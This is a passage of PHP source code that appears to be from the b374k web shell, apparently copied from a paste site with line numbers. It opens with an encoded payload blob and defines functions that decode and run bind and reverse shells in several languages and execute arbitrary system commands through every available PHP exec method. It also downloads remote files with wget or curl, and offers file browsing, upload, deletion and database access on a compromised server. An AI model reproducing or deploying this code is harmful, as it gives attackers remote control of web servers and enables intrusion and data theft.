qh5896P1y9gFCQS7XO09oz/BT5X2VFEYITsAZUo86ArEgnzwy8sJBQxFQC+kwLKTJwqP3JS5N5ji4nWnxfeWSnDcL+/JJabhsi221j2TzdemGrysC0j1skx6ELXrxPV2tVsAP51uFkv9s9VgTEiFSVKWg7nsP5GRxWrBJZ2m+7en6dhnIep/D2XNRakeXXGdSCWO9dVCY25OsF1YM++HxT9J7g/4tBhE/5cXj9FH0CiMPg1fR3QKujqOpZwOIhxjtVB0CyERzSmpdjVGV4LeOjDmMq+5A9yPw1LHJJrQVq57U8rkZjvhpXyxHu3yeIjMbmZzSuizXH8UrfrWN6022DXsvl0WfrheCu8LIbO4Lj2oFivk7UuLyv8LrYKN+61Kl8OLWatEun9ne/GLRVU3u+P6LDCVQKQb9P2kVeideo0ezQ1kt3HkLOzSPwLsm4crl+usqdTz9DleT3Z2bjcMUgSn90OcdyFuSGhAZBUzo4QToIUBrkhhXXnPeDYOslO5aVswjaulqMBXtjV8Px/sLJgXXnZ/3ReLT1oh1tuoLUEPtPKX00VeHLGV2a1uWMhmWlSCFLXNafQZbMGTq9JcHhsB4O9TCkDqEascfeshdSrTL4S1ReWpWWU7SBwSiwBs0Jtgwry+9jJaxMXP5VrHyvSij1v4OXfIeXRqbgYS5feqQXsQWNaL0gYrfenEEKNpG015uT4SQAJ5vPPPjTg0CMSQwrB2bMjNpJFiEcpE39Pr7uFxEJIO2904/BHHKc+Y+C9vuA+WON2T+I2R+VkyUmPIaQFtEqod5N3BrfNPdzuje//mIj3YeMh9JWa+aQdKIH1g5+l8E/YzWIIcoUyk35fRxxleX+upD5TxHIEoIE3bFCquoba+PjxSDR2E8iW67wCRsYoMosoCJ8/E1BztL6kgk+vvVGQ/zi9wCpOlR3WYpIjXRE6jQzZSNaquus8MU2TzTkxPhJmLkmkc4eYMtvrNKnJz0WtrrEFjq/a3VPT0Yt8SWSBjXfKtetNyZssK8wVKhs9a88W3GgBNSznNivOho+mEJohng786Q+a9mJ044gem7BxBQmTBuMZozd4nvKbuvQta229RV4tJU9Tumwym7r+bycFzyFRPV6HeAX88X2J10igO63XCyAjVafNV3BE/VdlxDe5KR0Biox3uov6q6A24fb8fArM5zMO4sA3GQqw73+OTiSwEkjxalSQlPwlEigqNs9oJf+pvI4jY4qau0R8oJilcRQWjY/rUsvIpsKGnp6P9v6GiXmdYDrb6+TYL8Gt1Io9AgOOygUEg02lwwQwcqmKY9wYWnFQYFNNe0G3n0Wh50qkm6dQu+xkS1fCWb2PXbS9TKQeTOTrp5KwfTuyVbUBHgVOrwT/wU=";
  86.  
  87. // make link for folder $s_cwd and all of its parent folder
  88. function swd($s_p){
  89.     global $s_self;
  90.     $s_ps = explode(DIRECTORY_SEPARATOR,$s_p);
  91.     $s_pu = "";
  92.     for($s_i = 0 ; $s_i < sizeof($s_ps)-1 ; $s_i++){
  93.         $s_pz = "";
  94.         for($s_j = 0 ; $s_j <= $s_i ; $s_j++) $s_pz .= $s_ps[$s_j].DIRECTORY_SEPARATOR;
  95.         $s_pu .= "<a href='".$s_self."cd=".$s_pz."' onclick='return false;'>".$s_ps[$s_i]." ".DIRECTORY_SEPARATOR." </a>";
  96.     }
  97.     return trim($s_pu);
  98. }
  99. // htmlspecialchars, < > "
  100. function hss($s_t){
  101.     $s_n = array(">","<","\"");
  102.     $s_y = array(">", "<", """);
  103.     return str_replace($s_n,$s_y,$s_t);
  104. }
  105. // remove <br />tags
  106. function rp($s_t){
  107.     return trim(str_replace("<br />","",$s_t));
  108. }
  109. // replace spaces with underscore ( _ )
  110. function cs($s_t){
  111.     return str_replace(" ","_",$s_t);
  112. }
  113. // strip slashes,trim and urldecode
  114. function ss($s_t){
  115.     return (!get_magic_quotes_gpc())? trim(urldecode($s_t)) : trim(urldecode(stripslashes($s_t)));
  116. }
  117. // only strip slashes
  118. function ssc($s_t){
  119.     return (!get_magic_quotes_gpc())? trim($s_t) : trim(stripslashes($s_t));
  120. }
  121. // bind and reverse shell
  122. function rs($s_rstype,$s_rstarget,$s_rscode){
  123.     //bind_pl bind_py bind_rb bind_c bind_win bind_php back_pl back_py back_rb back_c back_win back_php
  124.     //resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_c $s_rs_win $s_rs_php
  125.     $s_result = "";
  126.     $s_fpath = "";
  127.     $s_fc = gzinflate(base64_decode($s_rscode));
  128.  
  129.     $s_errperm = "Directory ".getcwd().DIRECTORY_SEPARATOR." is not writable, please change to a writable one";
  130.     $s_errgcc = "Unable to compile using gcc";
  131.  
  132.     $s_split = explode("_",$s_rstype);
  133.     $s_method = $s_split[0];
  134.     $s_lang = $s_split[1];
  135.     if($s_lang=="py" || $s_lang=="pl" || $s_lang=="rb"){
  136.         if($s_lang=="py") $s_runlang = "python";
  137.         elseif($s_lang=="pl") $s_runlang = "perl";
  138.         elseif($s_lang=="rb") $s_runlang = "ruby";
  139.         $s_fpath = "b374k_rs.".$s_lang;
  140.         if(is_file($s_fpath)) unlink($s_fpath);
  141.         if($s_file=fopen($s_fpath,"w")){
  142.             fwrite($s_file,$s_fc);
  143.             fclose($s_file);
  144.             if(is_file($s_fpath)){
  145.                 $s_result = exe("chmod +x ".$s_fpath);
  146.                 $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget);
  147.             }
  148.             else $s_result = $s_errperm;
  149.         }
  150.         else $s_result = $s_errperm;
  151.     }
  152.     elseif($s_lang=="c"){
  153.         $s_fpath = "b374k_rs";
  154.         if(is_file($s_fpath)) unlink($s_fpath);
  155.         if(is_file($s_fpath.".c")) unlink($s_fpath.".c");
  156.         if($s_file=fopen($s_fpath.".c","w")){
  157.             fwrite($s_file,$s_fc);
  158.             fclose($s_file);
  159.             if(is_file($s_fpath.".c")){
  160.                 $s_result = exe("gcc ".$s_fpath.".c -o ".$s_fpath);
  161.                 if(is_file($s_fpath)){
  162.                     $s_result = exe("chmod +x ".$s_fpath);
  163.                     $s_result = exe("./".$s_fpath." ".$s_rstarget);
  164.                 }
  165.                 else $s_result = $s_errgcc;
  166.             }
  167.             else $s_result = $s_errperm;
  168.         }
  169.         else $s_result = $s_errperm;
  170.     }
  171.     elseif($s_lang=="win"){
  172.         $s_fpath = "b374k_rs.exe";
  173.         if(is_file($s_fpath)) unlink($s_fpath);
  174.         if($s_file=fopen($s_fpath,"w")){
  175.             fwrite($s_file,$s_fc);
  176.             fclose($s_file);
  177.             if(is_file($s_fpath)){
  178.                 $s_result = exe($s_fpath." ".$s_rstarget);
  179.             }
  180.             else $s_result = $s_errperm;
  181.         }
  182.         else $s_result = $s_errperm;
  183.     }
  184.     elseif($s_lang=="php"){
  185.         $s_result = eval("?>".$s_fc);
  186.     }
  187.     if(is_file($s_fpath)) unlink($s_fpath);
  188.     if(is_file($s_fpath.".c")) unlink($s_fpath.".c");
  189.     return $s_result;
  190. }
  191. // format bit
  192. function ts($s_s){
  193.     if($s_s<=0) return 0;
  194.     $s_w = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
  195.     $s_e = floor(log($s_s)/log(1024));
  196.     return sprintf('%.2f '.$s_w[$s_e], ($s_s/pow(1024, floor($s_e))));
  197. }
  198. // get file size
  199. function gs($s_f){
  200.     $s_s = @filesize($s_f);
  201.     if($s_s !== false){
  202.         if($s_s<=0) return 0;
  203.         return ts($s_s);
  204.     }
  205.     else return "???";
  206. }
  207. // get file permissions
  208. function gp($s_f){
  209.     if($s_m=@fileperms($s_f)){
  210.         $s_p = 'u';
  211.         if(($s_m & 0xC000) == 0xC000)$s_p = 's';
  212.         elseif(($s_m & 0xA000) == 0xA000)$s_p = 'l';
  213.         elseif(($s_m & 0x8000) == 0x8000)$s_p = '-';
  214.         elseif(($s_m & 0x6000) == 0x6000)$s_p = 'b';
  215.         elseif(($s_m & 0x4000) == 0x4000)$s_p = 'd';
  216.         elseif(($s_m & 0x2000) == 0x2000)$s_p = 'c';
  217.         elseif(($s_m & 0x1000) == 0x1000)$s_p = 'p';
  218.         $s_p .= ($s_m & 00400) ? 'r' : '-';
  219.         $s_p .= ($s_m & 00200) ? 'w' : '-';
  220.         $s_p .= ($s_m & 00100) ? 'x' : '-';
  221.         $s_p .= ($s_m & 00040) ? 'r' : '-';
  222.         $s_p .= ($s_m & 00020) ? 'w' : '-';
  223.         $s_p .= ($s_m & 00010) ? 'x' : '-';
  224.         $s_p .= ($s_m & 00004) ? 'r' : '-';
  225.         $s_p .= ($s_m & 00002) ? 'w' : '-';
  226.         $s_p .= ($s_m & 00001) ? 'x' : '-';
  227.         return $s_p;
  228.     }
  229.     else return "???????????";
  230. }
  231. // shell command
  232. function exe($s_c){
  233.     $s_out = "";
  234.     $s_c = $s_c." 2>&1";
  235.  
  236.     if(is_callable('system')) {
  237.         ob_start();
  238.         @system($s_c);
  239.         $s_out = ob_get_contents();
  240.         ob_end_clean();
  241.         if(!empty($s_out)) return $s_out;
  242.     }
  243.     if(is_callable('shell_exec')){
  244.         $s_out = @shell_exec($s_c);
  245.         if(!empty($s_out)) return $s_out;
  246.     }
  247.     if(is_callable('exec')) {
  248.         @exec($s_c,$s_r);
  249.         if(!empty($s_r)) foreach($s_r as $s_s) $s_out .= $s_s;
  250.         if(!empty($s_out)) return $s_out;
  251.     }
  252.     if(is_callable('passthru')) {
  253.         ob_start();
  254.         @passthru($s_c);
  255.         $s_out = ob_get_contents();
  256.         ob_end_clean();
  257.         if(!empty($s_out)) return $s_out;
  258.     }
  259.     if(is_callable('proc_open')) {
  260.         $s_descriptorspec = array(
  261.         0 => array("pipe", "r"),
  262.         1 => array("pipe", "w"),
  263.         2 => array("pipe", "w")
  264.         );
  265.         $s_proc = @proc_open($s_c, $s_descriptorspec, $s_pipes, getcwd(), array());
  266.         if (is_resource($s_proc)) {
  267.             while ($s_si = fgets($s_pipes[1])) {
  268.                 if(!empty($s_si)) $s_out .= $s_si;
  269.             }
  270.             while ($s_se = fgets($s_pipes[2])) {
  271.                 if(!empty($s_se)) $s_out .= $s_se;
  272.             }
  273.         }
  274.         @proc_close($s_proc);
  275.         if(!empty($s_out)) return $s_out;
  276.     }
  277.     if(is_callable('popen')){
  278.         $s_f = @popen($s_c, 'r');
  279.         if($s_f){
  280.             while(!feof($s_f)){
  281.                 $s_out .= fread($s_f, 2096);
  282.             }
  283.             pclose($s_f);
  284.         }
  285.         if(!empty($s_out)) return $s_out;
  286.     }
  287.     return "";
  288. }
  289. // add slash to the end of given path
  290. function cp($s_p){
  291.     if(is_dir($s_p)){
  292.         $s_x = DIRECTORY_SEPARATOR;
  293.         while(substr($s_p,-1) == $s_x) $s_p = rtrim($s_p,$s_x);
  294.         return $s_p.$s_x;
  295.     }
  296.     return $s_p;
  297. }
  298. // delete dir and all of its content (no warning !) xp
  299. function rmdirs($s_d){
  300.     $s_f = glob($s_d . '*', GLOB_MARK);
  301.     foreach($s_f as $s_z){
  302.         if(is_dir($s_z)) rmdirs($s_z);
  303.         else unlink($s_z);
  304.     }
  305.     if(is_dir($s_d)) rmdir($s_d);
  306. }
  307. // get array of all files from given directory
  308. function getallfiles($s_dir){
  309.     $s_f = glob($s_dir . '*');
  310.     for($s_i = 0; $s_i < count($s_f); $s_i++){
  311.         if(is_dir($s_f[$s_i])) {
  312.             $s_a = glob($s_f[$s_i].DIRECTORY_SEPARATOR.'*');
  313.             $s_f = array_merge($s_f, $s_a);
  314.         }
  315.     }
  316.     return $s_f;
  317. }
  318. // which command
  319. function xwhich($s_pr){
  320.     $s_p = exe("which $s_pr");
  321.     if(trim($s_p)!="") { return trim($s_p); } else { return trim($s_pr); }
  322. }
  323. // download file from internet
  324. function dlfile($s_u,$s_p){
  325.     $s_n = basename($s_u);
  326.  
  327.     // try using php functions
  328.     if($s_t = @file_get_contents($s_u)){
  329.         if(is_file($s_p)) unlink($s_p);;
  330.         if($s_f=fopen($s_p,"w")){
  331.             fwrite($s_f,$s_t);
  332.             fclose($s_f);
  333.             if(is_file($s_p)) return true;
  334.         }
  335.     }
  336.     // using wget
  337.     exe(xwhich('wget')." ".$s_u." -O ".$s_p);
  338.     if(is_file($s_p)) return true;
  339.  
  340.     // try using lwp-download
  341.     exe(xwhich('lwp-download')." ".$s_u." ".$s_p);
  342.     if(is_file($s_p)) return true;
  343.  
  344.     // try using lynx
  345.     exe(xwhich('lynx')." -source ".$s_u." > ".$s_p);
  346.     if(is_file($s_p)) return true;
  347.  
  348.     // try using curl
  349.     exe(xwhich('curl')." ".$s_u." -o ".$s_p);
  350.     if(is_file($s_p)) return true;
  351.  
  352.     return false;
  353. }
  354. // find writable dir
  355. function get_writabledir(){
  356.     if(is_writable(".")) $s_d = ".".DIRECTORY_SEPARATOR;
  357.     else{
  358.         if(!$s_d = getenv("TMP")) if(!$s_d = getenv("TEMP")) if(!$s_d = getenv("TMPDIR")){
  359.             if(is_writable("/tmp")) $s_d = "/tmp/";
  360.             else $s_d = getcwd().DIRECTORY_SEPARATOR;
  361.         }
  362.     }
  363.     return $s_d;
  364. }
  365. // zip function
  366. function zip($s_src, $s_dest){
  367.     if(!extension_loaded('zip') || !file_exists($s_src)) return false;
  368.  
  369.     if(class_exists("ZipArchive")){
  370.         $s_zip = new ZipArchive();
  371.         if(!$s_zip->open($s_dest, 1)) return false;
  372.  
  373.         $s_src = str_replace('\\', '/', $s_src);
  374.         if(is_dir($s_src)){
  375.             $s_files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($s_src), 1);
  376.             foreach($s_files as $s_file){
  377.                 $s_file = str_replace('\\', '/', $s_file);
  378.                 if(in_array(substr($s_file, strrpos($s_file, '/')+1), array('.', '..'))) continue;
  379.                 if (is_dir($s_file) === true)   $s_zip->addEmptyDir(str_replace($s_src . '/', '', $s_file . '/'));
  380.                 else if (is_file($s_file) === true) $s_zip->addFromString(str_replace($s_src . '/', '', $s_file), @file_get_contents($s_file));
  381.             }
  382.         }
  383.         elseif(is_file($s_src) === true) $s_zip->addFromString(basename($s_src), @file_get_contents($s_src));
  384.         $s_zip->close();
  385.         return true;
  386.     }
  387. }
  388. // check shell permission to access program
  389. function check_access($s_lang){
  390.     $s_s = 0;
  391.     switch($s_lang){
  392.         case "python":
  393.             $s_cek = strtolower(exe("python -h"));
  394.             if(strpos($s_cek,"usage")!==false) $s_s = 1;
  395.             break;
  396.         case "perl":
  397.             $s_cek = strtolower(exe("perl -h"));
  398.             if(strpos($s_cek,"usage")!==false) $s_s = 1;
  399.             break;
  400.         case "ruby":
  401.             $s_cek = strtolower(exe("ruby -h"));
  402.             if(strpos($s_cek,"usage")!==false) $s_s = 1;
  403.             break;
  404.         case "gcc":
  405.             $s_cek = strtolower(exe("gcc --help"));
  406.             if(strpos($s_cek,"usage")!==false) $s_s = 1;
  407.             break;
  408.         case "tar":
  409.             $s_cek = strtolower(exe("tar --help"));
  410.             if(strpos($s_cek,"usage")!==false) $s_s = 1;
  411.             break;
  412.         case "java":
  413.             $s_cek = strtolower(exe("javac --help"));
  414.             if(strpos($s_cek,"usage")!==false){
  415.                 $s_cek = strtolower(exe("java -h"));
  416.                 if(strpos($s_cek,"usage")!==false) $s_s = 1;
  417.             }
  418.             break;
  419.     }
  420.     return $s_s;
  421. }
  422. // find available archiver
  423. function get_archiver_available(){
  424.     global $s_self, $s_tar;
  425.     $s_dlfile = "";
  426.     $s_avail_arc = array("raw" => "raw");
  427.  
  428.     if(class_exists("ZipArchive")){
  429.         $s_avail_arc["ziparchive"] = "zip";
  430.     }
  431.     if($s_tar){
  432.         $s_avail_arc["tar"] = "tar";
  433.         $s_avail_arc["targz"] = "tar.gz";
  434.     }
  435.  
  436.     $s_option_arc = "";
  437.     foreach($s_avail_arc as $s_t => $s_u){
  438.         $s_option_arc .= "<option value=\"".$s_t."\">".$s_u."</option>";
  439.     }
  440.  
  441.     $s_dlfile .= "<form action='".$s_self."' method='post'>
  442.                 <select onchange='download(this);' name='dltype' class='inputzbut' style='width:80px;height:20px;'>
  443.                 <option value='' disabled selected>Download</option>
  444.                 ".$s_option_arc."
  445.                 </select>
  446.                 <input type='hidden' name='dlpath' value='__dlpath__' />
  447.                 </form>
  448.                 ";
  449.     return $s_dlfile;
  450. }
  451. // explorer, return a table of given dir
  452. function showdir($s_cwd){
  453.     global $s_self;
  454.  
  455.     $s_posix = (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))? true : false;
  456.     $s_win = (strtolower(substr(php_uname(),0,3)) == "win")? true : false;
  457.  
  458.     $s_fname = array();
  459.     $s_dname = array();
  460.  
  461.     if(function_exists("scandir") && $s_dh = @scandir($s_cwd)){
  462.         foreach($s_dh as $s_file){
  463.             if(is_dir($s_file)) $s_dname[] = $s_file;
  464.             elseif(is_file($s_file)) $s_fname[] = $s_file;
  465.         }
  466.     }
  467.     else{
  468.         if($s_dh = @opendir($s_cwd)){
  469.             while($s_file = readdir($s_dh)){
  470.                 if(is_dir($s_file)) $s_dname[] = $s_file;
  471.                 elseif(is_file($s_file))$s_fname[] = $s_file;
  472.             }
  473.             closedir($s_dh);
  474.         }
  475.     }
  476.  
  477.     sort($s_fname);
  478.     sort($s_dname);
  479.     $s_list = array_merge($s_dname,$s_fname);
  480.  
  481.     if($s_win){
  482.         //check if this root directory
  483.         chdir("..");
  484.         if(cp(getcwd())==cp($s_cwd)){
  485.             array_unshift($s_list, ".");
  486.         }
  487.         chdir($s_cwd);
  488.     }
  489.  
  490.     $s_path = explode(DIRECTORY_SEPARATOR,$s_cwd);
  491.     $s_tree = sizeof($s_path);
  492.  
  493.     $s_parent = "";
  494.     if($s_tree > 2) for($s_i=0;$s_i<$s_tree-2;$s_i++) $s_parent .= $s_path[$s_i].DIRECTORY_SEPARATOR;
  495.     else $s_parent = $s_cwd;
  496.  
  497.     $s_owner_html = (!$s_win && $s_posix) ? "<th style='width:140px;'>owner:group</th>" : "";
  498.     $s_colspan = (!$s_win && $s_posix) ? "6" : "5";
  499.     $s_buff = "
  500.     <table class='explore sortable'>
  501.     <tr><th style='width:24px;' class='sorttable_nosort'></th><th>name</th><th style='width:60px;'>size</th>".$s_owner_html."<th style='width:70px;'>perms</th><th style='width:130px;'>modified</th><th style='width:170px;' class='sorttable_nosort'>action</th><th style='width:90px;' class='sorttable_nosort'>download</th></tr>
  502.     ";
  503.  
  504.     $s_arc = get_archiver_available();
  505.     foreach($s_list as $s_l){
  506.         if(!$s_win && $s_posix){
  507.             $s_name = posix_getpwuid(fileowner($s_l));
  508.             $s_group = posix_getgrgid(filegroup($s_l));
  509.             $s_owner = $s_name['name']."<span class='gaya'>:</span>".$s_group['name'];
  510.             $s_owner_html = "<td style='text-align:center;'>".$s_owner."</td>";
  511.         }
  512.  
  513.         $s_lhref = "";
  514.         $s_lname = "";
  515.         $s_laction = "";
  516.         if(is_dir($s_l)){
  517.             if($s_l=="."){
  518.                 $s_lhref = $s_self."cd=".$s_cwd;
  519.                 $s_lsize = "LINK";
  520.                 $s_laction = "
  521.                 <span id='titik1'>
  522.                     <a href='".$s_self."cd=".$s_cwd."&find=".$s_cwd."' title='find something' onclick='return false;'>find</a> |
  523.                     <a href='".$s_self."cd=".$s_cwd."&x=upload' title='upload' onclick='return false;'>upl</a> |
  524.                     <a href='".$s_self."cd=".$s_cwd."&edit=".$s_cwd."newfile_1&new=yes' title='create new file' onclick='return false;'>+file</a> |
  525.                     <a href=\"javascript:tukar('titik1','titik1_form');\" title='create new directory'>+dir</a>
  526.                 </span>
  527.                 <div id='titik1_form' class='sembunyi'>
  528.                     <form action='".$s_self."' method='post'>
  529.                     <input type='hidden' name='cd' value='".$s_cwd."' />
  530.                     <input class='inputz' id='titik1_' style='width:80px;' type='text' name='mkdir' value='newfolder_1' />
  531.                     <input class='inputzbut' type='submit' name='rename' style='width:35px;' value='Ruqyah' />
  532.                     </form>
  533.                     <input class='inputzbut' type='button' value='x' onclick=\"tukar('titik1_form','titik1');\" />
  534.                 </div>";
  535.             }
  536.             elseif($s_l==".."){
  537.                 $s_lhref = $s_self."cd=".$s_parent;
  538.                 $s_lsize = "LINK";
  539.                 $s_laction = "
  540.                 <span id='titik2'>
  541.                     <a href='".$s_self."cd=".$s_parent."&find=".$s_parent."' title='find something' onclick='return false;'>find</a> |
  542.                     <a href='".$s_self."cd=".$s_parent."&x=upload' title='upload' onclick='return false;'>upl</a> |
  543.                     <a href='".$s_self."cd=".$s_parent."&edit=".$s_parent."newfile_1&new=yes' title='create new file' onclick='return false;'>+file</a> |
  544.                     <a href=\"javascript:tukar('titik2','titik2_form');\" title='create new directory'>+dir</a>
  545.                 </span>
  546.                 <div id='titik2_form' class='sembunyi'>
  547.                     <form action='".$s_self."' method='post'>
  548.                     <input type='hidden' name='cd' value='".$s_parent."' />
  549.                     <input class='inputz' id='titik2_' style='width:80px;' type='text' name='mkdir' value='newfolder_1' />
  550.                     <input class='inputzbut' type='submit' name='rename' style='width:35px;' value='Ruqyah' />
  551.                     </form>
  552.                     <input class='inputzbut' type='button' value='x' onclick=\"tukar('titik2_form','titik2');\" />
  553.                 </div>";
  554.             }
  555.             else{
  556.                 $s_lhref = $s_self."cd=".$s_cwd.$s_l.DIRECTORY_SEPARATOR;
  557.                 $s_lsize = "DIR";
  558.                 $s_laction = "
  559.                 <span id='".cs($s_l)."_link'>
  560.                     <a href='".$s_self."cd=".$s_cwd.$s_l.DIRECTORY_SEPARATOR."&find=".$s_cwd.$s_l.DIRECTORY_SEPARATOR."' title='find something' onclick='return false;'>find</a> |
  561.                     <a href='".$s_self."cd=".$s_cwd.$s_l.DIRECTORY_SEPARATOR."&x=upload' title='upload' onclick='return false;'>upl</a> |
  562.                     <a href=\"javascript:tukar('".cs($s_l)."_link','".cs($s_l)."_form');\" title='rename'>ren</a> |
  563.                     <a href='".$s_self."cd=".$s_cwd."&del=".$s_l."' title='delete' onclick='return false;'>del</a>
  564.                 </span>
  565.                 <div id='".cs($s_l)."_form' class='sembunyi'>
  566.                     <form action='".$s_self."' method='post'>
  567.                     <input type='hidden' name='oldname' value='".$s_l."' />
  568.                     <input type='hidden' name='cd' value='".$s_cwd."' />
  569.                     <input class='inputz' style='width:80px;' type='text' id='".cs($s_l)."_link_' name='newname' value='".$s_l."' />
  570.                     <input class='inputzbut' type='submit' name='rename' value='ren' />
  571.                     </form>
  572.                     <input class='inputzbut' type='button' value='x' onclick=\"tukar('".cs($s_l)."_form','".cs($s_l)."_link');\" />
  573.                 </div>";
  574.             }
  575.             $s_lname = "[ ".$s_l." ]";
  576.             $s_lsizetit = "0";
  577.         }
  578.         else{
  579.             $s_lhref = $s_self."view=".$s_l;
  580.             $s_lname = $s_l;
  581.             $s_lsize = gs($s_l);
  582.             $s_lsizetit = @filesize($s_l);
  583.             $s_laction = "
  584.             <div id='".cs($s_l)."_form' class='sembunyi'>
  585.                 <form action='".$s_self."' method='post'>
  586.                 <input type='hidden' name='oldname' value='".$s_l."' />
  587.                 <input class='inputz' style='width:80px;' type='text' id='".cs($s_l)."_link_' name='newname' value='".$s_l."' />
  588.                 <input class='inputzbut' type='submit' name='rename' value='ren' />
  589.                 </form>
  590.                 <input class='inputzbut' type='button' value='x' onclick=\"tukar('".cs($s_l)."_form','".cs($s_l)."_link');\" />
  591.             </div>
  592.             <span id='".cs($s_l)."_link'>
  593.                 <a href='".$s_self."edit=".cs($s_cwd.$s_l)."' title='edit' onclick='return false;'>edit</a> |
  594.                 <a href='".$s_self."hexedit=".cs($s_cwd.$s_l)."' title='edit as hex' onclick='return false;'>hex</a> |
  595.                 <a href=\"javascript:tukar('".cs($s_l)."_link','".cs($s_l)."_form');\" title='rename'>ren</a> |
  596.                 <a href='".$s_self."del=".$s_l."' title='delete' onclick='return false;'>del</a>
  597.             </span>";
  598.         }
  599.  
  600.         if(($s_l!='.')&&($s_l!='..')){
  601.             $s_cboxes = "<input id='".md5($s_lhref)."' name='cbox' value='".$s_cwd.$s_l."' type='checkbox' class='css-checkbox' onchange='hilite(this);' />
  602.                         <label for='".md5($s_lhref)."' class='css-label'></label>
  603.                         ";
  604.         }
  605.         else $s_cboxes = "~";
  606.         $s_ldl = str_replace("__dlpath__",$s_l,$s_arc);
  607.         $s_buff .= "
  608.         <tr>
  609.         <td style='text-align:center;text-indent:4px;'>".$s_cboxes."</td>
  610.         <td class='explorelist' ondblclick=\"return go('".addslashes($s_lhref)."',event);\">
  611.             <a href='".$s_lhref."' onclick='return false;'>".$s_lname."</a>
  612.         </td>
  613.         <td title='".$s_lsizetit."'>".$s_lsize."</td>
  614.         ".$s_owner_html."
  615.         <td style='text-align:center;'>".gp($s_l)."</td>
  616.         <td style='text-align:center;'>".@date("d-M-Y H:i:s",filemtime($s_l))."</td>
  617.         <td>".$s_laction."</td>
  618.         <td>".$s_ldl."</td></tr>";
  619.     }
  620.  
  621.     $s_buff .= "<tr style='background:#181818;'><td style='text-align:center;border-top:3px solid #222;text-indent:4px;'>
  622.             <form action='".$s_self."' method='post'>
  623.             <input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' />
  624.             <label for='checkalll' class='css-label'></label>
  625.             </td><td style='border-top:3px solid #222;'>
  626.             <select id='massact' class='inputzbut' onchange='massactgo();' style='width:100%;height:20px;margin:0;'>
  627.                 <option value='' disabled selected>Action</option>
  628.                 <option value='cut'>cut</option>
  629.                 <option value='copy'>copy</option>
  630.                 <option value='paste'>paste</option>
  631.                 <option value='delete'>delete</option>
  632.                 <option value='' disabled>-</option>
  633.                 <option value='chmod'>chmod</option>
  634.                 <option value='touch'>touch</option>
  635.             </select>
  636.             </td><td colspan='".$s_colspan."'><noscript><input type='button' value='Ruqyah' class='inputzbut' onclick='massactgo();' /></noscript></td>
  637.             </form>
  638.             </td>
  639.             </tr>
  640.             </table>
  641.             ";
  642.     return $s_buff;
  643. }
  644. //database related functions
  645. function sql_connect($s_sqltype, $s_sqlhost, $s_sqluser, $s_sqlpass){
  646.     if($s_sqltype == 'mysql'){if(function_exists('mysql_connect')) return @mysql_connect($s_sqlhost,$s_sqluser,$s_sqlpass);}
  647.     elseif($s_sqltype == 'mssql'){
  648.         if(function_exists('mssql_connect')) return @mssql_connect($s_sqlhost,$s_sqluser,$s_sqlpass);
  649.         elseif(function_exists('sqlsrv_connect')){
  650.             $s_coninfo = array("UID"=>$s_sqluser, "PWD"=>$s_sqlpass);
  651.             return @sqlsrv_connect($s_sqlhost,$s_coninfo);
  652.         }
  653.     }
  654.     elseif($s_sqltype == 'pgsql'){
  655.         $s_hosts = explode(":", $s_sqlhost);
  656.         if(count($s_hosts)==2){
  657.             $s_host_str = "host=".$s_hosts[0]." port=".$s_hosts[1];
  658.         }
  659.         else $s_host_str = "host=".$s_sqlhost;
  660.         if(function_exists('pg_connect')) return @pg_connect("$s_host_str user=$s_sqluser password=$s_sqlpass");
  661.     }
  662.     elseif($s_sqltype == 'oracle'){if(function_exists('oci_connect')) return @oci_connect($s_sqluser,$s_sqlpass,$s_sqlhost);}
  663.     elseif($s_sqltype == 'sqlite3'){
  664.         if(class_exists('SQLite3')) if(!empty($s_sqlhost)) return new SQLite3($s_sqlhost);
  665.         else return false;
  666.     }
  667.     elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_open')) return @sqlite_open($s_sqlhost);}
  668.     elseif($s_sqltype == 'odbc'){if(function_exists('odbc_connect')) return @odbc_connect($s_sqlhost,$s_sqluser,$s_sqlpass);}
  669.     elseif($s_sqltype == 'pdo'){
  670.         if(class_exists('PDO')) if(!empty($s_sqlhost)) return new PDO($s_sqlhost,$s_sqluser,$s_sqlpass);
  671.         else return false;
  672.     }
  673. }
  674. function sql_query($s_sqltype, $s_query, $s_con){
  675.     if($s_sqltype == 'mysql'){if(function_exists('mysql_query')) return mysql_query($s_query);}
  676.     elseif($s_sqltype == 'mssql'){
  677.         if(function_exists('mssql_query')) return mssql_query($s_query);
  678.         elseif(function_exists('sqlsrv_query')) return sqlsrv_query($s_con,$s_query);
  679.     }
  680.     elseif($s_sqltype == 'pgsql'){if(function_exists('pg_query')) return pg_query($s_query);}
  681.     elseif($s_sqltype == 'oracle'){
  682.         if(function_exists('oci_parse') && function_exists('oci_execute')){
  683.             $s_st = oci_parse($s_con, $s_query);
  684.             oci_execute($s_st);
  685.             return $s_st;
  686.         }
  687.     }
  688.     elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_con->query($s_query);}
  689.     elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_query')) return sqlite_query($s_con, $s_query);}
  690.     elseif($s_sqltype == 'odbc'){if(function_exists('odbc_exec')) return odbc_exec($s_con, $s_query);}
  691.     elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_con->query($s_query);}
  692. }
  693. function sql_num_fields($s_sqltype, $s_hasil){
  694.     if($s_sqltype == 'mysql'){if(function_exists('mysql_num_fields')) return mysql_num_fields($s_hasil);}
  695.     elseif($s_sqltype == 'mssql'){
  696.         if(function_exists('mssql_num_fields')) return mssql_num_fields($s_hasil);
  697.         elseif(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($s_hasil);
  698.     }
  699.     elseif($s_sqltype == 'pgsql'){if(function_exists('pg_num_fields')) return pg_num_fields($s_hasil);}
  700.     elseif($s_sqltype == 'oracle'){if(function_exists('oci_num_fields')) return oci_num_fields($s_hasil);}
  701.     elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_hasil->numColumns();}
  702.     elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_num_fields')) return sqlite_num_fields($s_hasil);}
  703.     elseif($s_sqltype == 'odbc'){if(function_exists('odbc_num_fields')) return odbc_num_fields($s_hasil);}
  704.     elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_hasil->columnCount();}
  705. }
  706. function sql_field_name($s_sqltype,$s_hasil,$s_i){
